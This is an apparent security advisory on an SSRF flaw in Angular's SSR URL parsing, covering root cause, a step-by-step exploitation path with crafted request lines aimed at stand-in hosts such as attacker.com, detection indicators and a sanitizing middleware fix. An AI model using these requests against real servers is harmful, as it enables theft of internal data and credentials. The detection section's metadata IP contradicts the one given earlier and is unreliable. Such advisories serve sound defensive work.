CVE-2026-41423: 
JavaScript vulnerability analysis and mitigation

CVE-2026-41423 is a Server-Side Request Forgery (SSRF) vulnerability in @angular/platform-server caused by improper URL handling during Server-Side Rendering (SSR). When an attacker sends a crafted request using backslash or protocol-relative URLs (e.g., GET /\evil.com/ HTTP/1.1), Angular's URL parser normalizes the backslash to a forward slash, causing the application to treat the attacker's domain as the legitimate origin. The vulnerability affects @angular/platform-server versions prior to 19.2.21, 20.3.19, 21.2.9, and 22.0.0-next.8, as well as all versions ≤ 18.2.14. It carries a CVSS v3.1 score of 5.3 (Medium) and a CVSS v4.0 score of 8.7 (High) (GitHub Advisory, Feedly).

The root cause (CWE-918: Server-Side Request Forgery) lies in the parseUrl function within ServerPlatformLocation, which used new URL(urlStr, origin) to resolve incoming request URLs. Per the WHATWG URL specification, protocol-relative URLs (//evil.com) and backslash-prefixed URLs (/\evil.com) can override the hostname component of the base URL when passed as the first argument to new URL(). In typical SSR setups using Express, req.url is passed directly to renderApplication or renderModule, meaning an attacker-controlled URL string reaches the vulnerable parser without sanitization. The fix changes the parseUrl function to prepend the origin to any URL starting with / before parsing, preventing hostname override (GitHub Commit, GitHub Advisory).

Affected APIs include renderModule, renderApplication, and CommonEngine (from @angular/ssr). The AngularAppEngine and AngularNodeAppEngine APIs are not affected.

Successful exploitation causes the Angular SSR application to treat the attacker's domain as the legitimate local origin, redirecting any relative HttpClient requests and PlatformLocation.hostname references to the attacker-controlled server. This can expose internal APIs, cloud metadata services (e.g., AWS IMDSv1 at 169.254.169.254), or other backend services that the SSR server has outbound access to. The primary impact is confidentiality — sensitive data from internal endpoints may be exfiltrated — with secondary integrity impact on subsequent systems due to misdirected requests (GitHub Advisory, Feedly).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the time of this report (Feedly). The vulnerability is exploitable by unauthenticated, remote attackers with no user interaction required, provided the target application meets the attack preconditions (outbound network access, use of affected SSR APIs, and passing req.url directly to rendering functions). The EPSS score is approximately 0.039% (low probability of near-term exploitation). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify Angular SSR applications using @angular/platform-server versions prior to 19.2.21, 20.3.19, 21.2.9, or 22.0.0-next.8. Look for server-rendered Angular apps (e.g., Express-based Node.js servers) that pass req.url directly to renderApplication or renderModule.
2. Craft malicious request: Construct an HTTP request with a backslash or protocol-relative URL that will be interpreted as a hostname override. Example: GET /\attacker.com/path HTTP/1.1 or GET //attacker.com/path HTTP/1.1.
3. Trigger SSRF: Send the crafted request to the Angular SSR server. The server engine (e.g., Express) passes req.url (e.g., /\attacker.com/path) to Angular's rendering functions without sanitization.
4. Hostname hijack: Angular's parseUrl function calls new URL('/\\attacker.com/path', origin), which the WHATWG URL parser normalizes to https://attacker.com/path, overriding the internal origin with the attacker's domain.
5. Intercept internal requests: Any relative HttpClient requests made during SSR (e.g., to fetch data for rendering) are now directed to attacker.com instead of the legitimate backend. The attacker's server receives these requests, potentially including authentication tokens, session data, or other sensitive information.
6. Exfiltrate data: Log all incoming requests on the attacker-controlled server to capture internal API responses, metadata service data, or credentials forwarded by the SSR application (GitHub Advisory, GitHub Commit).

• Network: Outbound HTTP/HTTPS requests from the Angular SSR server to unexpected external domains; requests to cloud metadata endpoints (e.g., 169.254.254.169) originating from the Node.js process.
• Logs: Web server access logs showing requests with URLs containing double slashes or backslashes (e.g., GET //attacker.com/, GET /\attacker.com/); Node.js application logs showing HttpClient requests resolving to unexpected hostnames.
• Process: Unusual outbound network connections from the Node.js/Express process to external IP addresses not in the expected backend allowlist.

Upgrade @angular/platform-server to one of the patched versions: 19.2.21, 20.3.19, 21.2.9, or 22.0.0-next.8. Note that version 18.x and below have no patch available; users on those versions should apply the workaround or migrate to a supported release. As a temporary workaround, implement Express middleware to sanitize req.url before it reaches Angular's rendering functions:

app.use((req, res, next) => {
  if (req.url.startsWith('//') || req.url.startsWith('/\\') || req.url.startsWith('\\')) {
    req.url = '/' + req.url.replace(/^[\/\\]+/, '');
  }
  next();
});

Additionally, restrict outbound network access from the SSR server to only known, legitimate internal endpoints (GitHub Advisory, HeroDevs Blog).

HeroDevs published a detailed vulnerability directory entry and blog post covering the SSRF mechanism and its implications for Angular SSR applications, noting particular concern for organizations running end-of-life Angular versions (18.x and below) that will not receive an official patch (HeroDevs Directory, HeroDevs Blog). The SAP Spartacus team promptly issued a fix bumping Angular to 21.2.9 in response to this advisory. Qualys added detection for this vulnerability (detection ID 151089) in their May 2026 application security detections release (Qualys).